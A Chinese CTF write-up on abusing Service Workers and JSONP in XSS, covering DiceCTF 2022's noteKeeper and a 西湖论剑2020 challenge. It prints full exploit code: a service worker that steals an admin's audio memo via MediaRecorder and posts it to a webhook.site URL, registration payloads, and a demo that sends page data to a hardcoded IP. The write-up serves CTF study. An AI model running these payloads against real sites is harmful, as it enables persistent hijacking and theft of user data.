关于Service Worker在xss中的使用
这篇文章会介绍一下Service Worker在xss中的一些利用,主要是ctf题目中的应用。
参考文章:https://brycec.me/posts/dicectf_2022_writeups#notekeeper
service worker 的简介
service worker的概念
Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。
Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHR和localStorage)不能在service worker中使用。
出于安全考量,Service workers只能由HTTPS(出于调试方便,还支持在localhost使用),毕竟修改网络请求的能力暴露给中间人攻击会非常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。
从官方文档中可以看出一些要点:
1、只能注册同源下的js
2、站内必须支持Secure Context,也就是站内必须是https://或者http://localhost/
3、Content-Type必须是js
- text/javascript
- application/x-javascript
- application/javascript
还有一些关于service worker的基本框架以及作用域问题可以直接查看
[]: https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API/Using_Service_Workers “文档”
所以service worker到底可以用来干些什么呢。其实从它的作用域也能看出来一些东西,例如service worker只能抓取在service worker scope中发出来的请求,既然这样就可以利用它来进行一些文件,网站等的缓存,同时还以监听一些请求并对responce做出篡改。
service worker的简单使用
在这个demo中当页面加载完成时,使用navigator.serviceWorker.register来注册一个service worker,并且作用于全局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <!doctype html> <html> <head> <meta charset="utf-8"> <title>navigator对象的使用</title> </head> <body> <div id="parentElement"> <span id="childElement">foo bar</span> </div> <script> if ('serviceWorker' in navigator) { console.log("ok") window.addEventListener('load', () => { navigator.serviceWorker.register('sw.js', {scope: '/'}) .then(() => { console.log('successful') }) .catch((err) => { console.log('failed') }) }) } </script> </body> </html>
|
关于sw.js,从service worker的流程可以看出需要先监听install事件,这里在监听到安装后会进行缓存,然后就可以监听一些事件,但需要时serviceworker支持的事件。这里监听了一个fetch请求,同时篡改了响应,在其中插入了一个script标签

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| this.addEventListener('install', (event) => { event .waitUntil( caches.open('my-test-cache-v1') .then((cache) => { return cache.addAll([ '/', '/index.html' ]) }) ) }) this.addEventListener('fetch',function(event){ console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return new Response('<script>location="http://39.107.239.30:2333?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }}) }) ) })
|
访问一下可以很清楚的看到一些缓存

关于jsonp的跨域特点
现在的浏览器普遍都有同源策略保护着,但是在同源下如何引用外来的js文件或者其他的文件呢。jsonp是可以解决一下跨域问题的。
JSONP的原理
JSONP是JSON with Padding的简称,一般用来解决Ajax跨域的问题。它是这样产生的:
- 页面上调用
js文件时不受跨域的影响,而且,凡是拥有src属性的标签都拥有跨域的能力,比如<script>、<img>、<iframe>。
- 可以在远程服务器上设法把数据装进
js格式的文件里,供客户端调用处理,实现跨域。
- 目前最常用的数据交换方式是
JSON,客户端通过调用远程服务器上动态生成的js格式文件(一般以JSON后缀)。
- 客户端成功调用
JSON文件后,对其进行处理。
- 为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作
JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
一些jsonp的具体实现可以看看官方文档,其实就是通过一些字符串的拼接,来构造出特定的调用函数的形式,并将这种json返回给浏览器,从而在浏览器上而可以直接调用js格式文件
dicectf一道有趣的xss题目
noteKeeper 是个有趣的 XSS 挑战,目标是窃取管理员的语音备忘录。
审计源码
首先审计源码,看index可以发现使用了很严格的csp规则,无法使用iframe-src,同时限制了script的来源。但是这里很重要的一点就是,app在使用api路由中间件之后才使用了csp中间件,这意味着在api路由上并不存在csp规则,这样才有了后续的做法。

在前端的script.js文件中可以看到很明显的xss,load_user中直接将用户名赋值到了innerHTML中,并且没有任何过滤。所以这里可以插入一些html标签

再看到关于用户登陆注册的源码。在api中可以发现,在注册的地方进行了一些限制。username的长度要在[5,16]之间,这样的话显然需要绕过了。同时可以看到这段代码并没有检查username的类别,所以我们可以构造一个数组来进行绕过,类似于username=<xss payload>&username=b&password=password这样。但是 innerHTML 不允许 script 标签运行。但一个简单的解决方法就是使用 iframe srcdoc,并让window.parent用作对父窗口的引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| router.post("/register", async (req, res) => { let { username, password } = req.body;
if(db.hasUser(username)) { utils.alert(req, res, "danger", `A user already exists with username ${username}`); return res.redirect("/"); }
if(username.length > 16) { utils.alert(req, res, "danger", "Invalid username"); return res.redirect("/"); } if(password.length < 5) { utils.alert(req, res, "danger", "Please choose a longer password"); return res.redirect("/"); }
await db.addUser(username, password);
jwt.signData(res, username, { msg: "Registered successfully", type: "primary" }); res.redirect("/home"); });
|
能够执行xss代码了下面就需要考虑如何利用xss进行窃取语音备忘录了。继续审计源码可以发现很关键的jsonp函数,源码中限制了callback的类别,同时过滤了eval回调。同时后续的中间件也进行了 JSONP 过滤,该过滤会删除任何不是字母数字、点或括号的内容。这样的话我们直接在用户界面上执行xss有些不太现实。

到这里就需要service worker的作用了。引用一些出题人的原话:
但是,如果我们可以让页面加载不在页面上的脚本呢?这是不可能的,因为有一个严格的 CSP,但还记的 CSP 是如何不在 /api 路由上的吗?
我们能以某种方式在这些 API 路由之一上获取脚本吗?是的,我们可以,这要归功于服务人员的力量!(注意:显然服务人员被高估了,其他团队没有解决使用它们😢)
服务人员很酷,因为他们获取安装脚本所在页面的 CSP。因此,如果我们从某个 API 端点使用 JSONP 安装脚本,它们将没有 CSP!
使用 JSONP 端点,我们可以调用window.parent.navigator.serviceWorker.register它将从包含 JS 的页面注册一个服务工作者。我们可以让这个目标成为另一个 JSONP 端点,然后我们可以有一个回调,它在服务工作者范围内运行代码。但是我们可以运行什么服务工作者代码呢?
我们希望完整的 JS 执行不受 JSONP 的限制,那么我们可以使用import()导入 JS 并从文件中运行它吗?嗯, 不, 因为import()在服务人员中不起作用。但是importScripts()有!
因此,为了使用服务工作者获的完整的 JS 执行,我们需要控制两个 JSONP 端点,一个注册服务工作者并将脚本 URL 指向另一个 JSONP 端点,第二个 JSONP 端点需要运行importScripts()并指向一个具有JS我们控制。
这是这道题目最核心的地方,也是很巧妙的地方。因为JSONP端点可以回调任意函数,所以我们可以注册一个service来使用外部的js文件,同时通过importScripts()导入。这样我们就能执行一个完整的任意js代码。
还有关于备忘录访问的代码,再请求头中限制了Sec-Fetch-Site和Sec-Fetch-Dest。这些Sec-Fetch标头阻止我们仅获取音频 - 它需要放置在音频标签中。而且我们无法从缓存中获取它,因为有Cache-Control标头
| router.get("/audio/file", requiresLogin, async (req, res) => { if(!db.getMemo(req.user.username)) { return res.status(404).send('no'); } if(req.header('Sec-Fetch-Dest') !== "audio" || req.header('Sec-Fetch-Site') !== "same-origin") { return res.status(404).send('no'); }
res.setHeader('content-type', 'audio/mpeg'); res.sendFile(db.getMemo(req.user.username), { root: "." }); });
|
攻击操作
利用fetch先注册,也可以抓包等等
| fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "username=" + encodeURIComponent(`//39.107.239.30:2333/notekeeper.js?#<iframe srcdoc="<script src='/api/notes/list?callback=window.parent.navigator.serviceWorker.register'></script>"></iframe>`) + "&username=b&password=12345" });
|
登录成功后会自行执行,
| <iframe srcdoc="<script src='/api/notes/list?callback=window.parent.navigator.serviceWorker.register'></script>"></iframe>
|
但是此时notes中我们并没有添加任何东西所以它是这样的

在这里我们如果直接写一个notes类似于//39.107.239.30:2333/sw.js,然后变成
| typeof window.parent.navigator.serviceWorker.register === 'function' && window.parent.navigator.serviceWorker.register(["//39.107.239.30:2333/sw.js"])
|
这看似很合理但实际上会是这样的

所以出题人所说的控制两个 JSONP 端点一个是注册的时候利用一次jsonp端点回调,另外一次在于这里写入notes,这样的话便再一次通过jsonp的跨域特点绕过同源策略。
| /api/user/info?callback=importScripts
|
其实做到这里最开始我在想为什么不直接importScripts我们的文件不就得了,然后在最后加一个注释符,类似于
| /api/user/info?callback=importScripts('//vps:port/notekeeper.js');
|
但是实践证实源码中使用的是res.jsonp(),所以在官方express的jsonp中进行了一些过滤。它会变成这样

所以正确导入后,最后的结果会是这样


这样就引入了我们外部的js文件,并且可以完整的执行任意js代码。所以这里的js代码如何用来窃取备忘录呢。
最开始其实说到了一个service worker是可以拦截一个fetch请求的,并且可以篡改responce。所以这里如果可以让admin在访问我们提供的界面时请求另一个界面,那我们是不是就可以拦截这个请求,然后执行我们自己的代码。并且利用js代码是可以将mp3的文件内容进行播放并转换成base编码的。同时你可以看到bot的js文件。bot的实现中,会先去访问我们提供的url,然后才会回到/home,最后是进行登出。看到出题人的记录还可以发现,其实我们可以直接在拦截过程中将click点击后的结果直接进行替换,让bot永远停留,播放我们要窃取的MP3文件。

所以如何让admin访问时请求另一个界面,可以通过控制jsonp函数进行window.opener的回调就可以了!然后在service worker中用window.opener.origin回到最初的窗口。然后通过dom找到我们需要的audio,进行录制。
最终的攻击流程
首先需要事先注册两个用户,一个用来引用外部的js文件,如上。注册的service worker js代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| self.addEventListener('fetch', async (e) => { if(e.request.url.includes("/api/user/strellpwn")) { e.respondWith(new Response(new Blob([` <script> const webhook = "https://webhook.site/1635fdff-7154-4586-b16c-dbc680be9f75";
const log = (body) => { console.log(body); fetch(webhook, { method: "POST", body, mode: "no-cors" }); };
const blobToBase64 = (blob) => { return new Promise((resolve, _) => { const reader = new FileReader(); reader.onloadend = () => resolve(reader.result); reader.readAsDataURL(blob); }); }
const pwn = () => { try { window.opener.origin; } catch(err) { console.log("still cross origin..."); setTimeout(pwn, 500); return; }
try { window.opener.document.body.querySelector } catch(err) { console.log("page same-origin, but not loaded yet.."); setTimeout(pwn, 500); return; }
let aud = window.opener.document.body.querySelector("audio"); if(!aud) { console.log("audio tag missing..."); setTimeout(pwn, 500); return; }
let stream = aud.captureStream(); let rec = new MediaRecorder(stream);
log("found_audio"); console.log(aud);
let btn = window.opener.document.querySelector("form[action='/api/logout'] button"); if(!btn) { log("logout button missing!!!"); return; } btn.onclick = (e) => { e.preventDefault(); aud.play(); };
aud.onplay = () => { log("recording"); let chunks = []; rec.ondataavailable = e => chunks.push(e.data); rec.onstop = async e => { let final = new Blob(chunks, { type: 'audio/mpeg' }); let b64 = await blobToBase64(final); log(b64); console.log("done~"); }; rec.start(); };
log("ready..."); };
window.onload = () => { if(window.opener.name !== "pwning") return window.close(); setTimeout(() => window.open("", "lmao").close(), 3000); log("loaded"); console.log("loaded"); pwn(); }; </script> `], { type: 'text/html' }))); } return; });
|
另外一个需要注册来让admin请求另外的窗口
| fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "&username=" + encodeURIComponent(`/api/user/strellpwn?#<iframe async srcdoc="<script src='/api/user/info?callback=window.parent.open'></script>"></iframe>`) + "&username=b&password=12345" });
|
然后写一个html,起一个监听服务,让bot访问去登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <!DOCTYPE html> <html> <body> <form method="POST" action="http://127.0.0.1:9999/api/login" target="lmao"> <input name="username" /> <input name="username" value="b" /> <input name="password" /> </form> <script> const sleep = (ms) => new Promise(r => setTimeout(r, ms)); window.onload = async () => { let $ = document.querySelector.bind(document); navigator.sendBeacon("https://webhook.site/1635fdff-7154-4586-b16c-dbc680be9f75", "start");
$("input[name=username]").value = `//39.107.239.30:2333/notekeeper.js?#<iframe srcdoc="<script src='/api/notes/list?callback=window.parent.navigator.serviceWorker.register'></sc` + `ript>"></iframe>`; $("input[name=password]").value = `12345`; $("form").submit();
await sleep(2500);
$("input[name=username]").value = `/api/user/strellpwn?#<iframe srcdoc="<script src='/api/user/info?callback=window.parent.open'></sc` + `ript>"></iframe>`; $("input[name=password]").value = `12345`; $("form").submit();
window.name = "pwning"; navigator.sendBeacon("https://webhook.site/1635fdff-7154-4586-b16c-dbc680be9f75", "end"); location.href = "http://127.0.0.1:9999/home?gogogo"; }; </script> </body> </html>
|
访问成功时可以看到,bot并没有登出,也可以看到成功访问了两个账户。

但是由于可能js录音音频的原因,在webhook.site中会等待的有些慢,所以需要多让bot访问几次。最终能够看到,成功窃取到管理员语音备忘录。


最后将base编码放入src标签中就可以的到音频了

西湖论剑2020xss
这也是一道可以利用service worker的题目,但比上面的那题要简单一些。但是由于没有环境所以就来看看思路吧。
关键源码,首先可以可以看到auto_reg_var()函数存在变量覆盖,故可以将callback变量覆盖掉,且jsonp返回的数据会被当做js代码执行,如?callback=alert(1)既可弹窗,但是存在50个字符的限制,不过可以通过引入外部js或者通过变量覆盖+eval来绕过。
后面也重写了jsonp函数,而且可以看到里面的操作,很关键的在于对于参数的拼接url = url + "?" + "callback=" + funName;。所以这里与上面很大的不同就是这里你可以在拼接过程中进行一些恶意的注释,从而可以直接通过importScripts引入js文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| callback = "get_user_login_status"; auto_reg_var(); if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){ jump_url = "/"; } jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){ if(result['status']){ location.href = jump_url; } }) function jsonp(url, success) { var script = document.createElement("script"); if(url.indexOf("callback") < 0){ var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5); url = url + "?" + "callback=" + funName; }else{ var funName = callback; } window[funName] = function(data) { success(data); delete window[funName]; document.body.removeChild(script); } script.src = url; document.body.appendChild(script); } function auto_reg_var(){ var search = location.search.slice(1); var search_arr = search.split('&'); for(var i = 0;i < search_arr.length; i++){ [key,value] = search_arr[i].split("="); window[key] = value; } }
|
最终的攻击过程,看看网上的吧,题目太久远了,也没找到环境,就没法复现了,但思路都差不多
